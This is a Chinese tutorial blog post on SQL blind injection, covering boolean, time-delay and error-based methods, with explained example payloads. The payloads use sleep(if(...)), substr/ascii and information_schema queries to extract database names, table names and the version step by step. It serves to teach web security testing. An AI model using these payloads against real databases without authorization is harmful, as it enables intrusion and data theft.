WEB漏洞-SQL注入之查询方式及报错盲注

SQL注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行 判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid

基于时间的SQL盲注-延时判断
if,sleep

基于报错的SQL盲注-报错会先
floor,updatexml,extractvalue

在burpsuit中GET上参数后面加东西时,空格要用+号代替

参考

like 'ro%' #判断ro或ro…是否成立
regexp '^aaa[a-z]' #匹配aaa及aaa…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c长度
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1) #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的asscii码是否等于97

查询的时候睡眠5秒钟

select * from member where id=1 and sleep(5);

当数据库名为a的时候就显示123,不为a的时候显示456

select if(database()='a',123,456);

两者结合时
查询member表中id等于1的数据,并且当数据库名等于a的时候就睡眠1秒,否则就睡眠0秒

select * from member where id=1 and sleep(if(database()='a',1,0));

当数据库名长度等于8的时候就睡眠5秒,否则就睡眠0秒

select * from member where id=1 and sleep(if(length(database())=8,5,0));

当数据库名第一个字符等于s的时候就睡眠5秒,否则就睡眠0秒

select * from users where id=1 and sleep(if(mid(database(),1,1)='s',5,0));

截取当前数据库中的第一个表的第一个字母,如果这个字母的assic值是101就睡眠3秒,如果不是就睡眠0秒

select * from users where id=1 and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),3,0))

布尔类型
如果页面没有变化的话就证明版本的左边三个字符是5.5

select * from users where id=1 and left(version(),3)='5.5'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值